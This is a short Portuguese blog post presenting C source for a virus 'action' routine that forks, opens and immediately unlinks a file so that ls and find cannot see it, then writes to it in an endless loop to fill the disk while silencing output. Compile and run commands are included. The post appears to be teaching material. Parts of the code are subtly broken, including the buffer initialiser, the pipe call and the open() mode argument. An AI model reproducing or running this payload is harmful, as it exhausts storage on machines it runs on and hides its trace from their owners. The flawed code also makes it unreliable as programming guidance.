quinta-feira, 13 de junho de 2019

EXEMPLO 1

O primeiro exemplo lota o HD com bagaço:

cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.



/* progacao1.c */

#include <stdio.h>
#include <stdlib.h>


acao()
{
   int ifd;
   char *buf=("1","2","3","4","5","6","7","8","9","0");
   long c;
   int desc;
   close(1); /* fecha a saída padrão, o vídeo */

   pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saída será armazenados em desc */

   ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */

   unlink("./lotaHD"); /* apaga o arquivo */

   while (1)
   {
      write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */
      printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */
   }
}

main()
{
   int i;

   i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada.
          Não poderia ser uma thread, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar.
          O processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */
   if (i==0)
      acao();
}

Para compilá-lo basta fazer:

$ gcc progacao1.c -o progacao1

Para executá-lo:

$ ./progacao1

Use o comando (várias vezes) df para ver o espaço em disco diminuindo. Use o comando ls ou find ./ -name lotaHD para ver se encontra o arquivo.

Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo]

Sem comentários:

Enviar um comentário